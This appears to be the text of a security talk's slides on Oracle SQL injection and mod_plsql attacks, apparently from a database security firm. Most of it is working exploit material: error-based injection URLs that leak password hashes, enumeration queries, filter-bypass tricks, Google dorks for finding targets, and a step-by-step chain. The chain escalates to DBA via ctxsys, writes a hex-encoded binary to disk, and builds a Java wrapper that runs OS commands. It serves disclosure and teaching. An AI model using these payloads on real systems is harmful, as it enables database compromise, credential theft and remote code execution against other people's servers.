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  Inband 
  Part of the normal result set 

  In error messages 

  Out-of-band 

  HTTP 

  DNS 

  Other values 

  Blind / Inference  

Information Retrieval via SQL Injection 
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Inband methods 

Insert information from other tables into the current result 
set. This is the most common way of SQL Injection 
nowadays. 

Different to SQL Server (using ";") it is not possible to run 
many different SQL command in Oracle. Only in PL/SQL 
injection vulnerabilities it is possible to inject multiple 
statements ("begin select * into ... ; select 
* into ...; end;"). 

Example: 

  use UNION to add additional information 

  insert information in the error message 
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Inband methods - Example 

The package utl_inaddr is granted to public and responsible for the 
name resolution: 

SQL> select utl_inaddr.get_host_name('127.0.0.1') from 
dual; 

localhost 
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Inband methods - Example 

Get information via error messages: 

SQL> select utl_inaddr.get_host_name('anti-hacker') from 
dual; 

select utl_inaddr.get_host_name('anti-hacker') from dual 
       * 
ERROR at line 1: 
ORA-29257: host anti-hacker unknown 
ORA-06512: at "SYS.UTL_INADDR", line 4 
ORA-06512: at "SYS.UTL_INADDR", line 35 
ORA-06512: at line 1 
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Inband methods - Example 

Replace the string with a subselect to modify the error 
message: 

SQL> select utl_inaddr.get_host_name((select 
username||'='||password  
from dba_users where rownum=1)) from dual; 

select utl_inaddr.get_host_name((select username||'='||
password from dba_users where rownum=1)) from dual 
       * 
ERROR at line 1: 
ORA-29257: host SYS=D4DF7931AB130E37 unknown 
ORA-06512: at "SYS.UTL_INADDR", line 4 
ORA-06512: at "SYS.UTL_INADDR", line 35 
ORA-06512: at line 1 
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Inband methods - Example 

http://ec..*****/prelex/detail_dossier_real.cfm?
CL=en&DosId=124131||utl_inaddr.get_host_name((select
%20'SID='||global_name%20from%20global_name)) 

Message: Error Executing Database Query.  
Native error code: 29257  
SQL state: HY000  
Detail: [Macromedia][Oracle JDBC Driver][Oracle] 
ORA-29257: host SID=EXTUCOMA.CC.******* unknown  
ORA-06512: at "SYS.UTL_INADDR", line 35  
ORA-06512: at "SYS.UTL_INADDR", line 35  
ORA-06512: at line 1  
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Inband methods - Example 

http://ec.****/prelex/detail_dossier_real.cfm?
CL=en&DosId=124131||utl_inaddr.get_host_name((select
%20'Users='||count(*)%20from%20all_users)) 

Message: Error Executing Database Query.  
Native error code: 29257  
SQL state: HY000  
Detail: [Macromedia][Oracle JDBC Driver][Oracle] 
ORA-29257: host Users=254 unknown  
ORA-06512: at "SYS.UTL_INADDR", line 35  
ORA-06512: at "SYS.UTL_INADDR", line 35  
ORA-06512: at line 1  
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Inband methods - Example 

SQL Injection without Single/Double Quotes 

http://ec.****/prelex/detail_dossier_real.cfm?
CL=en&DosId=124131||utl_inaddr.get_host_name((select
%count(*)%20from%20all_users)) 

Message: Error Executing Database Query.  
Native error code: 29257  
SQL state: HY000  
Detail: [Macromedia][Oracle JDBC Driver][Oracle] 
ORA-29257: host 254 unknown  
ORA-06512: at "SYS.UTL_INADDR", line 35  
ORA-06512: at "SYS.UTL_INADDR", line 35  
ORA-06512: at line 1  
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Exploiting XMLDB 

Exploiting XMLDB 
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Exploiting XMLDB 
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Exploiting XMLDB 

Try to find a SQL Injection vulnerability 
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Exploiting XMLDB 

Using a single quote is causing an ORA-1756 error 
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Exploiting XMLDB 

Adding an additional single quote removes the error message 
again. 
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Exploiting XMLDB 

Now we split the string H2HC into H'||'2'||'HC and we get the 
same error message. 
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Exploiting XMLDB 

As mentioned before we can replace a string '2' with a select 
statement (select 2 from dual) 
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Exploiting XMLDB 

Now we can replace the SQL statement with every SQL 
statement. In this bug we can run all statements as user SYS 
(remember: we logged on as user USER1) 
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Exploiting XMLDB 

Now we just refine the output a little bit... 
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Exploiting XMLDB 

And we can enumerate through all the users by changing the 
user_id to get the password hashes 
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Exploiting XMLDB 

BTW, the vulnerable SQL statement looks like... 
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Enumerating Data in 
Oracle 

Enumerating Data in Oracle 
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Find vulnerable URL 

Here some ideas how to do privilege escalation 

Use parameters like ', ", , , --, 
||, ), … to find an injection 

Usual webapplication approach or tools 
like Matrixay 

Get information via error 
messages 

Utl_inaddr.get_host_name((select 
username from all_users user_id=0)) 

Control error messages beginstrendstr 
beginstr'||'middle'||'endstr 
beginstr'||(select sysdate from 
dual)||'endstr 
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Samples for vulnerable Oracle URL 

Some sample URLs from other SQL Injections 

SQL Injection 
Colfusion 

http://server/prelex/detail_dossier_real.cfm?
CL=en&DosId=124131||utl_inaddr.get_host_name((select
%count(*)%20from%20all_users)) 

Oracle XMLDB http://server/oradb/PUBLIC/ALL_USERS?transform='||
(select username ||'='||password from dba_users where 
user_id=1)||' 

Oracle 
Mod_PLSQL 

http://server/pls/portal30/
<<RDS>>SYS.OWA_UTIL.CELLSPRINT?P_THEQUERY=select
+table_name+from+all_tables 
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Enumerate the database via URL - low 

Get version select banner from (select rownum r, banner from v
$version) where r=1; 
select/**/banner/**/from(select/**/rownum/**/r,banner/
**/from/**/v$version)/**/where/**/r=1; 

Get SID Select global_name from global_name; 

select sys_context('USERENV', 'DB_NAME') FROM dual; 
Select/**/sys_context((select chr(85)||chr(83)||
chr(69)||chr(82)||chr(69)||chr(78)||chr(86) from dual),
(select chr( 68)||chr(66)||chr(95)||chr(78)||chr(65)||
chr(77)||chr(69)/**/from/**/dual))FROM/**/DUAL; 
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Enumerate the database via URL - low 

Get application 
username 

Select user from dual; 
select sys_context('USERENV', 'SESSION_USER') FROM dual; 

Get all _users Select username from all_users where user_id=0; 
Select username from (select rownum r,username from 
all_users) where r=1; 

Get user_roles Select granted_role from ( select rownum r, granted_role 
from user_role_privs) where r=1; 

Get user system 
privileges 

Select privilege from (select rownum r, privilege from 
user_sys_privs) where r=1; 

Get user table 
privileges 

select 
concat(concat(privilege,chr(32)),concat(concat(owner,chr(46)
),table_name)) from (select rownum r, 
owner,table_name,privilege from user_tab_privs) where r=1; 

Get all table privileges select 
concat(concat(privilege,chr(32)),concat(concat(table_schema,
chr(46)),table_name)) from (select rownum r, 
table_schema,table_name,privilege from all_tab_privs) where 
r=1; 

Check if DBA SELECT sys_context('USERENV', 'ISDBA') FROM dual; 

SELECT sys_context((select chr(85)||chr(83)||chr(69)||
chr(82)||chr(69)||chr(78)||chr(86) from dual), (select 
chr(73)||chr(83)||chr(68)||chr(66)||chr(65) from dual)) FROM 
dual; 
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Enumerate the database via URL - low 

Encode a text as chr-string, e.g. rewrite the following statement to check if an account has 
DBA privileges  

SQL> SELECT sys_context('USERENV', 'ISDBA') FROM dual; 

SQL> select 'select chr('||replace(substr(dump('USERENV'),14),',',')||
chr(')||') from dual;' from dual; 

select chr( 85)||chr(83)||chr(69)||chr(82)||chr(69)||chr(78)||chr(86) from 
dual; 

SQL> select chr( 85)||chr(83)||chr(69)||chr(82)||chr(69)||chr(78)||chr(86) 
from dual; 

USERENV 

SQL> select sys_context ((select chr( 85)||chr(83)||chr(69)||chr(82)||
chr(69)||chr(78)||chr(86) from dual),'ISDBA') from dual;  
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Enumerate the database via URL - 
high 

Get application username Select user from dual; 
SELECT sys_context('USERENV', 'SESSION_USER') FROM 
dual; 

Get all _users (increase 
user_id) 

Select username from all_users where user_id=0; 

Get dba_users (increase 
user_id) – as DBA 

select password from dba_users where user_id=0; 

select username||'='||password from (select rownum r, 
username,password from dba_users) where r=1; 

select concat(concat(username,chr(61)),password) from 
dba_users where user_id=0; 

Get user_roles Select granted_role from ( select rownum r, 
granted_role from user_role_privs) where r=1; 

Get user system privileges Select privilege from (select rownum r, privilege from 
user_sys_privs) where r=1; 

Get user table privileges select 
concat(concat(privilege,chr(32)),concat(concat(owner,ch
r(46)),table_name)) from (select rownum r, 
owner,table_name,privilege from user_tab_privs) where 
r=1; 

Get user table privileges select 
concat(concat(privilege,chr(32)),concat(concat(table_sc
hema,chr(46)),table_name)) from (select rownum r, 
table_schema,table_name,privilege from all_tab_privs) 
where r=1; 
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Escalate privileges via URL 

Escalating privileges via an URL is difficult. To do this we need the rights 
to inject code into a DDL statement (e.g. grant, alter, …) , run PL/SQL code 
(via PL/SQL code injection), run an operating system command (e.g. OS 
CMD injection) 

Get a list of all 
accessible PL/SQL 
packages, functions and 
procedures. 
Search candidates 
(containing strings like 
stmt, statement, exec, 
ddl, …) 
Fuzz these functions 
with the usual strings. 

select privilege||chr(46)||table_schema||chr(46)||
table_name from (select rownum r, 
privilege,table_schema,table_name from 
all_tab_privs where privilege='EXECUTE' and 
(table_name like '%STMT%' or table_name like 
'%EXEC%')) where r=1; 

Get a list of all functions 
containing the string 
STMT  

select owner||chr(46)||object_name||chr(46)||
procedure_name from (select rownum r, 
owner,object_name,procedure_name from 
all_procedures where object_type='FUNCTION' and 
( (object_name like '%STMT%') or (procedure_name 
like '%STMT%'))) where r=1; 
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MOD_PLSQL 

MOD_PLSQL 
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Mod_plsql architecture 

Database 

TNS Listener 
Apache (OHS) 

mod_plsql 

DMZ internal 

Firewall Firewall 
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Typical URLs 
http://www.rds.com/pls/mydad 
http://www.rds.com/mydad/owa 
http://www.rds.com/mydad/plsql 

Google Search Strings 
"intitle:Single Sign-On" "Oracle Corporation" "All rights 

reserved“ 
"inurl:pls/orasso" 
"inurl:pls/portal" 
"inurl:/pls/htmldb“ 
"inurl:/i/htmldb" 
“inurl:"apex/f"  
"inurl:pls" "inurl:startup" "inurl:$."  
"inurl:/pls/admin_/gateway.htm"admin_/globalsettings.htm 
“inurl:admin_/globalsettings.htm” 

Mod_plsql & Google Search Strings 
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What – mod_plsql 

A typical URL looks like 

http://10.1.1.117/pls/mydad/user1.procedure 
or 
http://10.1.1.117/pls/mydad/user1.package.procedure 

URLs containing the strings  

 SYS.* 
 DBMS_* 
 UTL_* 
 OWA* 
 HTP.* 
 HTF.*  

are automatically blocked. But this can be bypassed… 
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What – mod_plsql – history of bugs 

Use a %0A 
http://www.hacked.com/pls/dad/%0ASYS.PACKAGE.PROCEDURE 

Use Unicode, e.g. %FF instead of Y 
http://www.hacked.com/pls/dad/S%FFS.PACKAGE.PROCEDURE  

Enquote schema name (fixed with OAS 10g) 
http://www.hacked.com/pls/dad/"SYS".PACKAGE.PROCEDURE  

Use a label in front of the schema name 
http://www.hacked.com/pls/dad/<<LABEL>>SYS.PACKAGE.PROC 
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What – mod_plsql - ctxsys 

Create a PL/SQL procedure via a web interface 
http://www.hacked.com/pls/dad/
ctxsys.driload.validate_stmt?sqlstmt=CREATE
+OR+REPLACE+PROCEDURE+AHT+AS+BEGIN
+HTP.PRINT('hello');+END;  

Grant the procedure AHT to public 
http://www.hacked.com/pls/dad/
ctxsys.driload.validate_stmt?sqlstmt=GRANT
+EXECUTE+ON+AHT+TO+PUBLIC 

Execute the procedure AHT 
http://www.hacked.com/pls/dad/ctxsys.AHT  
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mod_plsql – owa_util.cellsprint 

http://server/pls/
portal30/"SYS".OWA_UTIL.CELLSPRINT?
P_THEQUERY=select+*+from+all_users 
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mod_plsql – owa_util.cellsprint 

http://server/pls/
portal30/"SYS".OWA_UTIL.CELLSPRINT?
P_THEQUERY=select+table_name+from
+all_tables 
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mod_plsql – owa_util.cellsprint 

http://server/pls/portal/
<<label>>SYS.OWA_UTIL.CELLSPRINT?
P_THEQUERY=select+*+from+all_users 
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mod_plsql – owa_util.cellsprint 

Get usernames first 
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mod_plsql – owa_util.cellsprint 

Get the database version 

http://server/pls/rds/
ctxsys.driload.validate_stmt? sqlstmt=grant+dba
+to+public 



1 2 3 4 5 

6 7 8 9 10 

we are here: 

mod_plsql – owa_util.cellsprint 

Get username + password hash of the database users 
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mod_plsql – owa_util.cellsprint 

Test the password hashes and get the plaintext password 
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Mod_plsql – Hacking example 

1. Call the URL http://testdb/pls/rds/plsql.home 

Access the procedure home in the schema plsql 
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Mod_plsql – Hacking example 

2. Adding a single quote shows an error message “FORBIDDEN”  

This version of Apache (1.3.22) + mod_plsql are vulnerable.  
We can run any SQL statement by adding “SYS” or  
<<mylabel>>SYS  
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Mod_plsql – Hacking example 

3. Now we try to access the version number  

OK, it’s 9.2.0.1. There are hundreds of vulnerabilities in this version. 

Alternatively we can use the <<label>> syntax too.  
This is a more generic approach and it is effective with more 
databases. 
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Mod_plsql – Hacking example 

4.  Now we retrieve a list of installed users (=components) 

Now we see that the Oracle Context Options is installed 
(CTXSYS). In this version of the database there was a 
vulnerability which allows privilege escalation.  

This vulnerability was reported by Red-Database-Security 
GmbH and fixed with Oracle Alert 68. 
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Mod_plsql – Hacking example 

5. We check first if we are already DBA  

But we don’t have the privilege to select from the view 
dba_users that’s why we see the error message  
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Mod_plsql – Hacking example 

6. Privilege Escalation via CTXSYS.driload.validate_stmt  

Even if you see an error message the statement was executed 
successfully. We can check this by selecting from the view 
DBA_USERS  
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Mod_plsql – Hacking example 

7. Select username, password hash key from the database  

This is always useful. We can now decrypt the hashkeys with 
Checkpwd or woraauthbf. 
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Mod_plsql – Hacking example 

8. Now we check for internet connectivity of the database 

We can use the Oracle database as a (limited) proxy (without) 
images. 

If utl_http is revoked from public, HTTPURIType can be used 
instead. 
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Mod_plsql – Hacking example 

9. Create a package which is able to download a file to the 
database server 

Create an Oracle directory called ext 
http://testdb/pls/rds/
ctxsys.driload.validate_stmt? 
sqlstmt=CREATE+OR+REPLACE+DIRECTORY+ext+AS+'C:
\' 

      (ignore the error message - that's always the case with this 
       exploit) 
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Mod_plsql – Hacking example 

a)  Grant privileges on this directory 

http://testdb/pls/rds/ctxsys.driload.validate_stmt? 
sqlstmt=grant+read+on+directory+ext+to+public 

http://testdb/pls/rds/ctxsys.driload.validate_stmt? 
sqlstmt=grant+write+on+directory+ext+to+public 
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Mod_plsql – Hacking example 

Create the file hacked.com via a browser 

You can convert a binary file with the tool bin2hex.exe into hexcode. The PL/SQL 
code is 

DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32767);  
BEGIN 
bu:=hextoraw('BF3B01BB8100021E8000B88200882780FB81750288D850E8060
083C402CD20C35589E5B80100508D451A50B80F00508D5D00FFD383C40689
EC5DC3558BEC8B5E088B4E048B5606B80040CD21730231C08BE55DC39048
656C6C6F2C20576F726C64210D0A'); 
fi:=UTL_FILE.fopen('EXT','hacked.com','w',32767); 
UTL_FILE.put_raw(fi,bu,TRUE); 
UTL_FILE.fclose(fi); 
END;/ 

http://testdb/pls/rds/ctxsys.driload.validate_stmt?
sqlstmt=DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32767); BEGIN 
bu:=hextoraw('BF3B01BB8100021E8000B88200882780FB81750288D850
E8060083C402CD20C35589E5B80100508D451A50B80F00508D5D00FFD383
C40689EC5DC3558BEC8B5E088B4E048B5606B80040CD21730231C08BE55D
C39048656C6C6F2C20576F726C64210D0A');fi:=UTL_FILE.fopen('EXT
','hacked.com','w',
32767);UTL_FILE.put_raw(fi,bu,TRUE);UTL_FILE.fclose(fi);END;  
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Mod_plsql – Hacking example 

Run the created binary hacked.com 

Create a procedure to call os commands via java: 

http://testdb/pls/rds/
ctxsys.driload.validate_stmt?sqlstmt=CREATE OR 
REPLACE AND COMPILE JAVA SOURCE NAMED "R" AS 
import java.io.*; public class R{ public static 
String Run(String C1)
{ try{ Runtime.getRuntime().exec(C1); 
return("0"); } catch (Exception e)
{ return(e.getMessage()); } } } 
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Mod_plsql – Hacking example 
-- creates a function RC and a procedure PC to call operating system 
commands 
http://testdb/pls/rds/ctxsys.driload.validate_stmt?sqlstmt=CREATE 
or REPLACE FUNCTION RC(CO IN STRING) RETURN VARCHAR2 IS LANGUAGE 
JAVA NAME 'R.Run(java.lang.String) return int'; 

http://testdb/pls/rds/ctxsys.driload.validate_stmt?sqlstmt=CREATE 
or REPLACE PROCEDURE PC(Command IN STRING) AS LANGUAGE JAVA NAME 
'R.Run(java.lang.String)'; 

Grant Java Privileges to public (or our user ctxsys) 
http://testdb/pls/rds/ctxsys.driload.validate_stmt?sqlstmt=begin 
dbms_java.grant_permission('PUBLIC','SYS:java.io.FilePermission','
<<ALL FILES>>','execute'); end; 

http://testdb/pls/rds/ctxsys.driload.validate_stmt?sqlstmt=begin 
dbms_java.grant_permission('PUBLIC','SYS:java.lang.RuntimePermissi
on','writeFileDescriptor','*');end; 

http://testdb/pls/rds/ctxsys.driload.validate_stmt?sqlstmt=begin 
dbms_java.grant_permission('PUBLIC','SYS:java.lang.RuntimePermissi
on','readFileDescriptor','*');end; 
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Mod_plsql – Hacking example 

Start a program, e.g. (hacked.com) 

http://testdb/pls/rds/
ctxsys.driload.validate_stmt?sqlstmt=pc(‘c:
\hacked.com') 
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Phone:  +49 (0)6821 – 95 17 637 
Fax:     +49 (0)6821 – 91 27 354 
E-Mail:   info at red-database-security.com 

Contact


